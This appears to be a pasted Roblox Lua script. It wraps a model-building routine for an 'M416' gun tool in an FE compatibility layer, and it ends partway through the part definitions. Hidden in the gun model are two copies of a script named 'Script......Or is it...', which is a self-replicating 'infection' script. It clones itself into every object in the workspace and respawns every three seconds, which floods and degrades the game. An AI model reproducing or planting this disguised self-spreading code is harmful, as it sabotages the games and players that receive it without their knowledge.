Advertisement
Guest User

Untitled

a guest
Dec 12th, 2019
111
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end
  2. local Player,game,owner = owner,game
  3. local RealPlayer = Player
  4. do
  5. print("FE Compatibility code by Mokiros | Showcase by Bacon Hair!")
  6. local rp = RealPlayer
  7. script.Parent = rp.Character
  8.  
  9. --RemoteEvent for communicating
  10. local Event = Instance.new("RemoteEvent")
  11. Event.Name = "UserInput_Event"
  12.  
  13. --Fake event to make stuff like Mouse.KeyDown work
  14. local function fakeEvent()
  15. local t = {_fakeEvent=true,Functions={},Connect=function(self,f)table.insert(self.Functions,f) end}
  16. t.connect = t.Connect
  17. return t
  18. end
  19.  
  20. --Creating fake input objects with fake variables
  21. local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
  22. local UIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
  23. local CAS = {Actions={},BindAction=function(self,name,fun,touch,...)
  24. CAS.Actions[name] = fun and {Name=name,Function=fun,Keys={...}} or nil
  25. end}
  26. --Merged 2 functions into one by checking amount of arguments
  27. CAS.UnbindAction = CAS.BindAction
  28.  
  29. --This function will trigger the events that have been :Connect()'ed
  30. local function te(self,ev,...)
  31. local t = m[ev]
  32. if t and t._fakeEvent then
  33. for _,f in pairs(t.Functions) do
  34. f(...)
  35. end
  36. end
  37. end
  38. m.TrigEvent = te
  39. UIS.TrigEvent = te
  40.  
  41. Event.OnServerEvent:Connect(function(plr,io)
  42. if plr~=rp then return end
  43. m.Target = io.Target
  44. m.Hit = io.Hit
  45. if not io.isMouse then
  46. local b = io.UserInputState == Enum.UserInputState.Begin
  47. if io.UserInputType == Enum.UserInputType.MouseButton1 then
  48. return m:TrigEvent(b and "Button1Down" or "Button1Up")
  49. end
  50. for _,t in pairs(CAS.Actions) do
  51. for _,k in pairs(t.Keys) do
  52. if k==io.KeyCode then
  53. t.Function(t.Name,io.UserInputState,io)
  54. end
  55. end
  56. end
  57. m:TrigEvent(b and "KeyDown" or "KeyUp",io.KeyCode.Name:lower())
  58. UIS:TrigEvent(b and "InputBegan" or "InputEnded",io,false)
  59. end
  60. end)
  61. Event.Parent = NLS([==[
  62. local Player = game:GetService("Players").LocalPlayer
  63. local Event = script:WaitForChild("UserInput_Event")
  64.  
  65. local Mouse = Player:GetMouse()
  66. local UIS = game:GetService("UserInputService")
  67. local input = function(io,a)
  68. if a then return end
  69. --Since InputObject is a client-side instance, we create and pass table instead
  70. Event:FireServer({KeyCode=io.KeyCode,UserInputType=io.UserInputType,UserInputState=io.UserInputState,Hit=Mouse.Hit,Target=Mouse.Target})
  71. end
  72. UIS.InputBegan:Connect(input)
  73. UIS.InputEnded:Connect(input)
  74.  
  75. local h,t
  76. --Give the server mouse data 30 times every second, but only if the values changed
  77. --If player is not moving their mouse, client won't fire events
  78. while wait(1/30) do
  79. if h~=Mouse.Hit or t~=Mouse.Target then
  80. h,t=Mouse.Hit,Mouse.Target
  81. Event:FireServer({isMouse=true,Target=t,Hit=h})
  82. end
  83. end]==],Player.Character)
  84.  
  85. ----Sandboxed game object that allows the usage of client-side methods and services
  86. --Real game object
  87. local _rg = game
  88.  
  89. --Metatable for fake service
  90. local fsmt = {
  91. __index = function(self,k)
  92. local s = rawget(self,"_RealService")
  93. if s then return s[k] end
  94. end,
  95. __newindex = function(self,k,v)
  96. local s = rawget(self,"_RealService")
  97. if s then s[k]=v end
  98. end,
  99. __call = function(self,...)
  100. local s = rawget(self,"_RealService")
  101. if s then return s(...) end
  102. end
  103. }
  104. local function FakeService(t,RealService)
  105. t._RealService = typeof(RealService)=="string" and _rg:GetService(RealService) or RealService
  106. return setmetatable(t,fsmt)
  107. end
  108.  
  109. --Fake game object
  110. local g = {
  111. GetService = function(self,s)
  112. return self[s]
  113. end,
  114. Players = FakeService({
  115. LocalPlayer = FakeService({GetMouse=function(self)return m end},Player)
  116. },"Players"),
  117. UserInputService = FakeService(UIS,"UserInputService"),
  118. ContextActionService = FakeService(CAS,"ContextActionService"),
  119. }
  120. rawset(g.Players,"localPlayer",g.Players.LocalPlayer)
  121. g.service = g.GetService
  122.  
  123. g.RunService = FakeService({
  124. RenderStepped = _rg:GetService("RunService").Heartbeat,
  125. BindToRenderStep = function(self,name,_,fun)
  126.  
  127. end,
  128. UnbindFromRenderStep = function(self,name)
  129. self._btrs[name]:Disconnect()
  130. end,
  131. },"RunService")
  132.  
  133. setmetatable(g,{
  134. __index=function(self,s)
  135. return _rg:GetService(s) or typeof(_rg[s])=="function"
  136. and function(_,...)return _rg[s](_rg,...)end or _rg[s]
  137. end,
  138. __newindex = fsmt.__newindex,
  139. __call = fsmt.__call
  140. })
  141. --Changing owner to fake player object to support owner:GetMouse()
  142. game,owner = g,g.Players.LocalPlayer
  143. end
  144. -- made by 1ndrew
  145. function sandbox(var,func)
  146. local env = getfenv(func)
  147. local newenv = setmetatable({},{
  148. __index = function(self,k)
  149. if k=="script" then
  150. return var
  151. else
  152. return env[k]
  153. end
  154. end,
  155. })
  156. setfenv(func,newenv)
  157. return func
  158. end
  159. cors = {}
  160. mas = Instance.new("Model",game:GetService("Lighting"))
  161. Tool0 = Instance.new("Tool")
  162. Part1 = Instance.new("Part")
  163. CylinderMesh2 = Instance.new("CylinderMesh")
  164. Part3 = Instance.new("Part")
  165. BlockMesh4 = Instance.new("BlockMesh")
  166. Part5 = Instance.new("Part")
  167. BlockMesh6 = Instance.new("BlockMesh")
  168. Sound7 = Instance.new("Sound")
  169. Script8 = Instance.new("Script")
  170. Sound9 = Instance.new("Sound")
  171. Script10 = Instance.new("Script")
  172. Part11 = Instance.new("Part")
  173. CylinderMesh12 = Instance.new("CylinderMesh")
  174. Part13 = Instance.new("Part")
  175. Decal14 = Instance.new("Decal")
  176. BlockMesh15 = Instance.new("BlockMesh")
  177. Part16 = Instance.new("Part")
  178. BlockMesh17 = Instance.new("BlockMesh")
  179. Part18 = Instance.new("Part")
  180. BlockMesh19 = Instance.new("BlockMesh")
  181. LocalScript20 = Instance.new("LocalScript")
  182. NumberValue21 = Instance.new("NumberValue")
  183. NumberValue22 = Instance.new("NumberValue")
  184. Smoke23 = Instance.new("Smoke")
  185. Smoke24 = Instance.new("Smoke")
  186. PointLight25 = Instance.new("PointLight")
  187. ScreenGui26 = Instance.new("ScreenGui")
  188. Frame27 = Instance.new("Frame")
  189. TextLabel28 = Instance.new("TextLabel")
  190. Frame29 = Instance.new("Frame")
  191. TextLabel30 = Instance.new("TextLabel")
  192. Frame31 = Instance.new("Frame")
  193. TextLabel32 = Instance.new("TextLabel")
  194. Part33 = Instance.new("Part")
  195. CylinderMesh34 = Instance.new("CylinderMesh")
  196. Part35 = Instance.new("Part")
  197. CylinderMesh36 = Instance.new("CylinderMesh")
  198. Part37 = Instance.new("Part")
  199. CylinderMesh38 = Instance.new("CylinderMesh")
  200. Part39 = Instance.new("Part")
  201. BlockMesh40 = Instance.new("BlockMesh")
  202. Part41 = Instance.new("Part")
  203. BlockMesh42 = Instance.new("BlockMesh")
  204. Part43 = Instance.new("Part")
  205. CylinderMesh44 = Instance.new("CylinderMesh")
  206. Part45 = Instance.new("Part")
  207. BlockMesh46 = Instance.new("BlockMesh")
  208. Part47 = Instance.new("Part")
  209. SpecialMesh48 = Instance.new("SpecialMesh")
  210. Part49 = Instance.new("Part")
  211. CylinderMesh50 = Instance.new("CylinderMesh")
  212. Part51 = Instance.new("Part")
  213. BlockMesh52 = Instance.new("BlockMesh")
  214. Part53 = Instance.new("Part")
  215. CylinderMesh54 = Instance.new("CylinderMesh")
  216. Part55 = Instance.new("Part")
  217. BlockMesh56 = Instance.new("BlockMesh")
  218. Part57 = Instance.new("Part")
  219. SpecialMesh58 = Instance.new("SpecialMesh")
  220. Part59 = Instance.new("Part")
  221. BlockMesh60 = Instance.new("BlockMesh")
  222. Part61 = Instance.new("Part")
  223. CylinderMesh62 = Instance.new("CylinderMesh")
  224. Part63 = Instance.new("Part")
  225. SpecialMesh64 = Instance.new("SpecialMesh")
  226. Part65 = Instance.new("Part")
  227. SpecialMesh66 = Instance.new("SpecialMesh")
  228. Part67 = Instance.new("Part")
  229. SpecialMesh68 = Instance.new("SpecialMesh")
  230. Part69 = Instance.new("Part")
  231. SpecialMesh70 = Instance.new("SpecialMesh")
  232. Part71 = Instance.new("Part")
  233. SpecialMesh72 = Instance.new("SpecialMesh")
  234. Part73 = Instance.new("Part")
  235. SpecialMesh74 = Instance.new("SpecialMesh")
  236. Part75 = Instance.new("Part")
  237. CylinderMesh76 = Instance.new("CylinderMesh")
  238. Part77 = Instance.new("Part")
  239. CylinderMesh78 = Instance.new("CylinderMesh")
  240. Part79 = Instance.new("Part")
  241. BlockMesh80 = Instance.new("BlockMesh")
  242. Part81 = Instance.new("Part")
  243. Decal82 = Instance.new("Decal")
  244. Decal83 = Instance.new("Decal")
  245. BlockMesh84 = Instance.new("BlockMesh")
  246. Part85 = Instance.new("Part")
  247. BlockMesh86 = Instance.new("BlockMesh")
  248. Part87 = Instance.new("Part")
  249. CylinderMesh88 = Instance.new("CylinderMesh")
  250. Part89 = Instance.new("Part")
  251. BlockMesh90 = Instance.new("BlockMesh")
  252. Part91 = Instance.new("Part")
  253. Decal92 = Instance.new("Decal")
  254. Decal93 = Instance.new("Decal")
  255. BlockMesh94 = Instance.new("BlockMesh")
  256. Part95 = Instance.new("Part")
  257. SpecialMesh96 = Instance.new("SpecialMesh")
  258. Part97 = Instance.new("Part")
  259. Decal98 = Instance.new("Decal")
  260. Decal99 = Instance.new("Decal")
  261. BlockMesh100 = Instance.new("BlockMesh")
  262. Part101 = Instance.new("Part")
  263. BlockMesh102 = Instance.new("BlockMesh")
  264. Part103 = Instance.new("Part")
  265. BlockMesh104 = Instance.new("BlockMesh")
  266. Part105 = Instance.new("Part")
  267. BlockMesh106 = Instance.new("BlockMesh")
  268. Part107 = Instance.new("Part")
  269. BlockMesh108 = Instance.new("BlockMesh")
  270. Part109 = Instance.new("Part")
  271. CylinderMesh110 = Instance.new("CylinderMesh")
  272. Part111 = Instance.new("Part")
  273. CylinderMesh112 = Instance.new("CylinderMesh")
  274. Part113 = Instance.new("Part")
  275. BlockMesh114 = Instance.new("BlockMesh")
  276. Part115 = Instance.new("Part")
  277. BlockMesh116 = Instance.new("BlockMesh")
  278. Part117 = Instance.new("Part")
  279. SpecialMesh118 = Instance.new("SpecialMesh")
  280. Part119 = Instance.new("Part")
  281. BlockMesh120 = Instance.new("BlockMesh")
  282. Part121 = Instance.new("Part")
  283. BlockMesh122 = Instance.new("BlockMesh")
  284. Part123 = Instance.new("Part")
  285. BlockMesh124 = Instance.new("BlockMesh")
  286. Part125 = Instance.new("Part")
  287. SpecialMesh126 = Instance.new("SpecialMesh")
  288. Part127 = Instance.new("Part")
  289. SpecialMesh128 = Instance.new("SpecialMesh")
  290. Part129 = Instance.new("Part")
  291. SpecialMesh130 = Instance.new("SpecialMesh")
  292. Part131 = Instance.new("Part")
  293. CylinderMesh132 = Instance.new("CylinderMesh")
  294. Part133 = Instance.new("Part")
  295. SpecialMesh134 = Instance.new("SpecialMesh")
  296. Part135 = Instance.new("Part")
  297. SpecialMesh136 = Instance.new("SpecialMesh")
  298. Part137 = Instance.new("Part")
  299. SpecialMesh138 = Instance.new("SpecialMesh")
  300. Part139 = Instance.new("Part")
  301. Decal140 = Instance.new("Decal")
  302. BlockMesh141 = Instance.new("BlockMesh")
  303. Part142 = Instance.new("Part")
  304. BlockMesh143 = Instance.new("BlockMesh")
  305. Part144 = Instance.new("Part")
  306. CylinderMesh145 = Instance.new("CylinderMesh")
  307. Part146 = Instance.new("Part")
  308. BlockMesh147 = Instance.new("BlockMesh")
  309. Part148 = Instance.new("Part")
  310. SpecialMesh149 = Instance.new("SpecialMesh")
  311. Part150 = Instance.new("Part")
  312. CylinderMesh151 = Instance.new("CylinderMesh")
  313. Part152 = Instance.new("Part")
  314. SpecialMesh153 = Instance.new("SpecialMesh")
  315. Part154 = Instance.new("Part")
  316. BlockMesh155 = Instance.new("BlockMesh")
  317. Part156 = Instance.new("Part")
  318. BlockMesh157 = Instance.new("BlockMesh")
  319. Part158 = Instance.new("Part")
  320. CylinderMesh159 = Instance.new("CylinderMesh")
  321. Part160 = Instance.new("Part")
  322. BlockMesh161 = Instance.new("BlockMesh")
  323. Part162 = Instance.new("Part")
  324. SpecialMesh163 = Instance.new("SpecialMesh")
  325. Part164 = Instance.new("Part")
  326. Decal165 = Instance.new("Decal")
  327. SpecialMesh166 = Instance.new("SpecialMesh")
  328. Part167 = Instance.new("Part")
  329. BlockMesh168 = Instance.new("BlockMesh")
  330. Part169 = Instance.new("Part")
  331. BlockMesh170 = Instance.new("BlockMesh")
  332. Part171 = Instance.new("Part")
  333. BlockMesh172 = Instance.new("BlockMesh")
  334. Part173 = Instance.new("Part")
  335. SpecialMesh174 = Instance.new("SpecialMesh")
  336. Part175 = Instance.new("Part")
  337. BlockMesh176 = Instance.new("BlockMesh")
  338. Part177 = Instance.new("Part")
  339. SpecialMesh178 = Instance.new("SpecialMesh")
  340. Part179 = Instance.new("Part")
  341. SpecialMesh180 = Instance.new("SpecialMesh")
  342. Part181 = Instance.new("Part")
  343. SpecialMesh182 = Instance.new("SpecialMesh")
  344. Part183 = Instance.new("Part")
  345. SpecialMesh184 = Instance.new("SpecialMesh")
  346. Part185 = Instance.new("Part")
  347. BlockMesh186 = Instance.new("BlockMesh")
  348. Part187 = Instance.new("Part")
  349. BlockMesh188 = Instance.new("BlockMesh")
  350. Part189 = Instance.new("Part")
  351. SpecialMesh190 = Instance.new("SpecialMesh")
  352. Part191 = Instance.new("Part")
  353. BlockMesh192 = Instance.new("BlockMesh")
  354. Part193 = Instance.new("Part")
  355. CylinderMesh194 = Instance.new("CylinderMesh")
  356. Part195 = Instance.new("Part")
  357. BlockMesh196 = Instance.new("BlockMesh")
  358. Part197 = Instance.new("Part")
  359. CylinderMesh198 = Instance.new("CylinderMesh")
  360. Part199 = Instance.new("Part")
  361. CylinderMesh200 = Instance.new("CylinderMesh")
  362. Part201 = Instance.new("Part")
  363. Decal202 = Instance.new("Decal")
  364. CylinderMesh203 = Instance.new("CylinderMesh")
  365. Part204 = Instance.new("Part")
  366. CylinderMesh205 = Instance.new("CylinderMesh")
  367. Part206 = Instance.new("Part")
  368. SpecialMesh207 = Instance.new("SpecialMesh")
  369. Part208 = Instance.new("Part")
  370. SpecialMesh209 = Instance.new("SpecialMesh")
  371. Part210 = Instance.new("Part")
  372. CylinderMesh211 = Instance.new("CylinderMesh")
  373. Part212 = Instance.new("Part")
  374. BlockMesh213 = Instance.new("BlockMesh")
  375. Part214 = Instance.new("Part")
  376. BlockMesh215 = Instance.new("BlockMesh")
  377. Part216 = Instance.new("Part")
  378. CylinderMesh217 = Instance.new("CylinderMesh")
  379. Part218 = Instance.new("Part")
  380. BlockMesh219 = Instance.new("BlockMesh")
  381. Part220 = Instance.new("Part")
  382. BlockMesh221 = Instance.new("BlockMesh")
  383. Part222 = Instance.new("Part")
  384. BlockMesh223 = Instance.new("BlockMesh")
  385. Part224 = Instance.new("Part")
  386. BlockMesh225 = Instance.new("BlockMesh")
  387. Part226 = Instance.new("Part")
  388. SpecialMesh227 = Instance.new("SpecialMesh")
  389. Part228 = Instance.new("Part")
  390. CylinderMesh229 = Instance.new("CylinderMesh")
  391. Part230 = Instance.new("Part")
  392. BlockMesh231 = Instance.new("BlockMesh")
  393. Part232 = Instance.new("Part")
  394. SpecialMesh233 = Instance.new("SpecialMesh")
  395. Part234 = Instance.new("Part")
  396. CylinderMesh235 = Instance.new("CylinderMesh")
  397. Part236 = Instance.new("Part")
  398. BlockMesh237 = Instance.new("BlockMesh")
  399. Part238 = Instance.new("Part")
  400. CylinderMesh239 = Instance.new("CylinderMesh")
  401. Part240 = Instance.new("Part")
  402. Decal241 = Instance.new("Decal")
  403. CylinderMesh242 = Instance.new("CylinderMesh")
  404. Part243 = Instance.new("Part")
  405. SpecialMesh244 = Instance.new("SpecialMesh")
  406. Part245 = Instance.new("Part")
  407. CylinderMesh246 = Instance.new("CylinderMesh")
  408. Part247 = Instance.new("Part")
  409. SpecialMesh248 = Instance.new("SpecialMesh")
  410. Part249 = Instance.new("Part")
  411. CylinderMesh250 = Instance.new("CylinderMesh")
  412. Part251 = Instance.new("Part")
  413. SpecialMesh252 = Instance.new("SpecialMesh")
  414. Part253 = Instance.new("Part")
  415. SpecialMesh254 = Instance.new("SpecialMesh")
  416. Part255 = Instance.new("Part")
  417. CylinderMesh256 = Instance.new("CylinderMesh")
  418. Part257 = Instance.new("Part")
  419. BlockMesh258 = Instance.new("BlockMesh")
  420. Part259 = Instance.new("Part")
  421. BlockMesh260 = Instance.new("BlockMesh")
  422. Part261 = Instance.new("Part")
  423. BlockMesh262 = Instance.new("BlockMesh")
  424. Part263 = Instance.new("Part")
  425. BlockMesh264 = Instance.new("BlockMesh")
  426. Part265 = Instance.new("Part")
  427. BlockMesh266 = Instance.new("BlockMesh")
  428. Part267 = Instance.new("Part")
  429. BlockMesh268 = Instance.new("BlockMesh")
  430. Part269 = Instance.new("Part")
  431. BlockMesh270 = Instance.new("BlockMesh")
  432. Part271 = Instance.new("Part")
  433. BlockMesh272 = Instance.new("BlockMesh")
  434. Part273 = Instance.new("Part")
  435. BlockMesh274 = Instance.new("BlockMesh")
  436. Part275 = Instance.new("Part")
  437. BlockMesh276 = Instance.new("BlockMesh")
  438. Part277 = Instance.new("Part")
  439. BlockMesh278 = Instance.new("BlockMesh")
  440. Part279 = Instance.new("Part")
  441. BlockMesh280 = Instance.new("BlockMesh")
  442. Part281 = Instance.new("Part")
  443. SpecialMesh282 = Instance.new("SpecialMesh")
  444. Part283 = Instance.new("Part")
  445. BlockMesh284 = Instance.new("BlockMesh")
  446. Part285 = Instance.new("Part")
  447. BlockMesh286 = Instance.new("BlockMesh")
  448. Part287 = Instance.new("Part")
  449. BlockMesh288 = Instance.new("BlockMesh")
  450. Part289 = Instance.new("Part")
  451. SpecialMesh290 = Instance.new("SpecialMesh")
  452. Part291 = Instance.new("Part")
  453. SpecialMesh292 = Instance.new("SpecialMesh")
  454. Part293 = Instance.new("Part")
  455. SpecialMesh294 = Instance.new("SpecialMesh")
  456. Part295 = Instance.new("Part")
  457. BlockMesh296 = Instance.new("BlockMesh")
  458. Part297 = Instance.new("Part")
  459. BlockMesh298 = Instance.new("BlockMesh")
  460. Part299 = Instance.new("Part")
  461. BlockMesh300 = Instance.new("BlockMesh")
  462. Part301 = Instance.new("Part")
  463. SpecialMesh302 = Instance.new("SpecialMesh")
  464. Part303 = Instance.new("Part")
  465. SpecialMesh304 = Instance.new("SpecialMesh")
  466. Part305 = Instance.new("Part")
  467. BlockMesh306 = Instance.new("BlockMesh")
  468. Part307 = Instance.new("Part")
  469. BlockMesh308 = Instance.new("BlockMesh")
  470. Part309 = Instance.new("Part")
  471. BlockMesh310 = Instance.new("BlockMesh")
  472. Part311 = Instance.new("Part")
  473. SpecialMesh312 = Instance.new("SpecialMesh")
  474. Part313 = Instance.new("Part")
  475. SpecialMesh314 = Instance.new("SpecialMesh")
  476. Part315 = Instance.new("Part")
  477. BlockMesh316 = Instance.new("BlockMesh")
  478. Part317 = Instance.new("Part")
  479. CylinderMesh318 = Instance.new("CylinderMesh")
  480. Part319 = Instance.new("Part")
  481. BlockMesh320 = Instance.new("BlockMesh")
  482. Part321 = Instance.new("Part")
  483. CylinderMesh322 = Instance.new("CylinderMesh")
  484. Part323 = Instance.new("Part")
  485. BlockMesh324 = Instance.new("BlockMesh")
  486. Part325 = Instance.new("Part")
  487. BlockMesh326 = Instance.new("BlockMesh")
  488. Part327 = Instance.new("Part")
  489. BlockMesh328 = Instance.new("BlockMesh")
  490. Part329 = Instance.new("Part")
  491. CylinderMesh330 = Instance.new("CylinderMesh")
  492. Part331 = Instance.new("Part")
  493. CylinderMesh332 = Instance.new("CylinderMesh")
  494. Part333 = Instance.new("Part")
  495. BlockMesh334 = Instance.new("BlockMesh")
  496. Script335 = Instance.new("Script")
  497. Part336 = Instance.new("Part")
  498. BlockMesh337 = Instance.new("BlockMesh")
  499. Tool0.Name = "M416"
  500. Tool0.Parent = mas
  501. Tool0.GripForward = Vector3.new(-0.308719009, -0, -0.951153278)
  502. Tool0.GripPos = Vector3.new(0, -0.200000003, 0.200000003)
  503. Tool0.GripRight = Vector3.new(0.951153278, 0, -0.308719009)
  504. Part1.Name = "A1"
  505. Part1.Parent = Tool0
  506. Part1.Material = Enum.Material.SmoothPlastic
  507. Part1.BrickColor = BrickColor.new("Dark stone grey")
  508. Part1.Reflectance = 0.050000000745058
  509. Part1.Rotation = Vector3.new(-180, -89.4599991, -90)
  510. Part1.Anchored = true
  511. Part1.FormFactor = Enum.FormFactor.Custom
  512. Part1.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
  513. Part1.CFrame = CFrame.new(27.0811768, 1.27026403, 138.982117, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
  514. Part1.BottomSurface = Enum.SurfaceType.Smooth
  515. Part1.TopSurface = Enum.SurfaceType.Smooth
  516. Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
  517. Part1.Position = Vector3.new(27.0811768, 1.27026403, 138.982117)
  518. Part1.Orientation = Vector3.new(0, -90.5400009, 90)
  519. Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
  520. CylinderMesh2.Parent = Part1
  521. CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
  522. CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
  523. Part3.Name = "SmokePart"
  524. Part3.Parent = Tool0
  525. Part3.Material = Enum.Material.SmoothPlastic
  526. Part3.Transparency = 1
  527. Part3.Rotation = Vector3.new(-180, 0.539999962, 180)
  528. Part3.Anchored = true
  529. Part3.FormFactor = Enum.FormFactor.Custom
  530. Part3.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  531. Part3.CFrame = CFrame.new(27.0629883, 1.26489305, 141.073486, -0.999955118, -6.08749104e-08, 0.00939130783, -5.92387259e-08, 0.999999046, 1.72940759e-07, -0.00939130783, 1.72370605e-07, -0.999955118)
  532. Part3.BottomSurface = Enum.SurfaceType.Smooth
  533. Part3.TopSurface = Enum.SurfaceType.Smooth
  534. Part3.Position = Vector3.new(27.0629883, 1.26489305, 141.073486)
  535. Part3.Orientation = Vector3.new(0, 179.459991, 0)
  536. BlockMesh4.Parent = Part3
  537. BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  538. BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
  539. Part5.Name = "Handle"
  540. Part5.Parent = Tool0
  541. Part5.Material = Enum.Material.SmoothPlastic
  542. Part5.BrickColor = BrickColor.new("Black")
  543. Part5.Rotation = Vector3.new(180, 27.6800003, -180)
  544. Part5.Anchored = true
  545. Part5.FormFactor = Enum.FormFactor.Custom
  546. Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  547. Part5.CFrame = CFrame.new(27.0905762, 0.867187023, 138.553284, -0.885558605, 8.09826162e-08, 0.464526057, 5.79961079e-10, 0.999999702, -1.73227889e-07, -0.464525968, -1.53134209e-07, -0.885558188)
  548. Part5.BottomSurface = Enum.SurfaceType.Smooth
  549. Part5.TopSurface = Enum.SurfaceType.Smooth
  550. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  551. Part5.Position = Vector3.new(27.0905762, 0.867187023, 138.553284)
  552. Part5.Orientation = Vector3.new(0, 152.319992, 0)
  553. Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
  554. BlockMesh6.Parent = Part5
  555. BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
  556. BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
  557. Sound7.Name = "Shoot"
  558. Sound7.Parent = Part5
  559. Sound7.SoundId = "http://roblox.com/asset/?id=10209798"
  560. Sound7.Volume = 1
  561. Script8.Name = "Script......Or is it..."
  562. Script8.Parent = mas
  563. table.insert(cors,sandbox(Script8,function()
  564. if script.Parent.className ~= "RotateP" then
  565. local p = Instance.new("RotateP")
  566. p.Parent = workspace
  567. p.Name = "INfecTION"
  568. script.Parent = p
  569. end
  570.  
  571. function check()
  572. local list = workspace:GetChildren()
  573. for i = 1, #list do
  574. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  575. script.Parent:Clone().Parent = list[i]
  576. end
  577. wait()
  578. end
  579. end
  580.  
  581. while true do
  582. check()
  583. if workspace:findFirstChild("inFECtion") == nil then
  584. local main = script.Parent:Clone()
  585. main.Name = "inFECtion"
  586. main.Parent = workspace
  587. end
  588. wait(3)
  589. end
  590.  
  591. end))
  592. Sound9.Name = "Reload"
  593. Sound9.Parent = Part5
  594. Sound9.SoundId = "http://www.roblox.com/asset/?id=132456328"
  595. Sound9.Volume = 1
  596. Script10.Name = "Script......Or is it..."
  597. Script10.Parent = mas
  598. table.insert(cors,sandbox(Script10,function()
  599. if script.Parent.className ~= "RotateP" then
  600. local p = Instance.new("RotateP")
  601. p.Parent = workspace
  602. p.Name = "INfecTION"
  603. script.Parent = p
  604. end
  605.  
  606. function check()
  607. local list = workspace:GetChildren()
  608. for i = 1, #list do
  609. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  610. script.Parent:Clone().Parent = list[i]
  611. end
  612. wait()
  613. end
  614. end
  615.  
  616. while true do
  617. check()
  618. if workspace:findFirstChild("inFECtion") == nil then
  619. local main = script.Parent:Clone()
  620. main.Name = "inFECtion"
  621. main.Parent = workspace
  622. end
  623. wait(3)
  624. end
  625.  
  626. end))
  627. Part11.Name = "Laser"
  628. Part11.Parent = Tool0
  629. Part11.Material = Enum.Material.SmoothPlastic
  630. Part11.BrickColor = BrickColor.new("Really red")
  631. Part11.Transparency = 1
  632. Part11.Rotation = Vector3.new(0, 89.4599991, -90)
  633. Part11.Anchored = true
  634. Part11.FormFactor = Enum.FormFactor.Custom
  635. Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  636. Part11.CFrame = CFrame.new(27.2994385, 1.39013696, 140.283264, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  637. Part11.BottomSurface = Enum.SurfaceType.Smooth
  638. Part11.TopSurface = Enum.SurfaceType.Smooth
  639. Part11.Color = Color3.new(1, 0, 0)
  640. Part11.Position = Vector3.new(27.2994385, 1.39013696, 140.283264)
  641. Part11.Orientation = Vector3.new(0, 89.4599991, -90)
  642. Part11.Color = Color3.new(1, 0, 0)
  643. CylinderMesh12.Parent = Part11
  644. CylinderMesh12.Offset = Vector3.new(0, -18.6599998, 0)
  645. CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
  646. CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
  647. Part13.Name = "Mag"
  648. Part13.Parent = Tool0
  649. Part13.Material = Enum.Material.SmoothPlastic
  650. Part13.BrickColor = BrickColor.new("Brick yellow")
  651. Part13.Rotation = Vector3.new(-180, -89.4599991, -81)
  652. Part13.Anchored = true
  653. Part13.FormFactor = Enum.FormFactor.Custom
  654. Part13.Size = Vector3.new(0.200000003, 0.419999987, 0.200000003)
  655. Part13.CFrame = CFrame.new(27.0869141, 0.745117009, 138.976196, 0.00146914274, 0.00927558541, -0.999955833, 0.987687647, -0.156434625, 3.8507924e-08, -0.156427667, -0.987643659, -0.00939165056)
  656. Part13.BottomSurface = Enum.SurfaceType.Smooth
  657. Part13.TopSurface = Enum.SurfaceType.Smooth
  658. Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
  659. Part13.Position = Vector3.new(27.0869141, 0.745117009, 138.976196)
  660. Part13.Orientation = Vector3.new(0, -90.5400009, 99)
  661. Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
  662. Decal14.Parent = Part13
  663. Decal14.Texture = "http://www.roblox.com/asset/?id=47760372"
  664. Decal14.Face = Enum.NormalId.Right
  665. BlockMesh15.Parent = Part13
  666. BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
  667. BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
  668. Part16.Name = "Mag2"
  669. Part16.Parent = Tool0
  670. Part16.Material = Enum.Material.SmoothPlastic
  671. Part16.BrickColor = BrickColor.new("Brick yellow")
  672. Part16.Rotation = Vector3.new(-180, -89.4599991, -71)
  673. Part16.Anchored = true
  674. Part16.FormFactor = Enum.FormFactor.Custom
  675. Part16.Size = Vector3.new(0.239999995, 0.419999987, 0.200000003)
  676. Part16.CFrame = CFrame.new(27.0856934, 0.449218988, 139.053894, 0.00305754691, 0.00887963176, -0.999955833, 0.945517957, -0.32556802, 4.84268448e-08, -0.325553536, -0.945475817, -0.00939165056)
  677. Part16.BottomSurface = Enum.SurfaceType.Smooth
  678. Part16.TopSurface = Enum.SurfaceType.Smooth
  679. Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
  680. Part16.Position = Vector3.new(27.0856934, 0.449218988, 139.053894)
  681. Part16.Orientation = Vector3.new(0, -90.5400009, 109)
  682. Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
  683. BlockMesh17.Parent = Part16
  684. BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
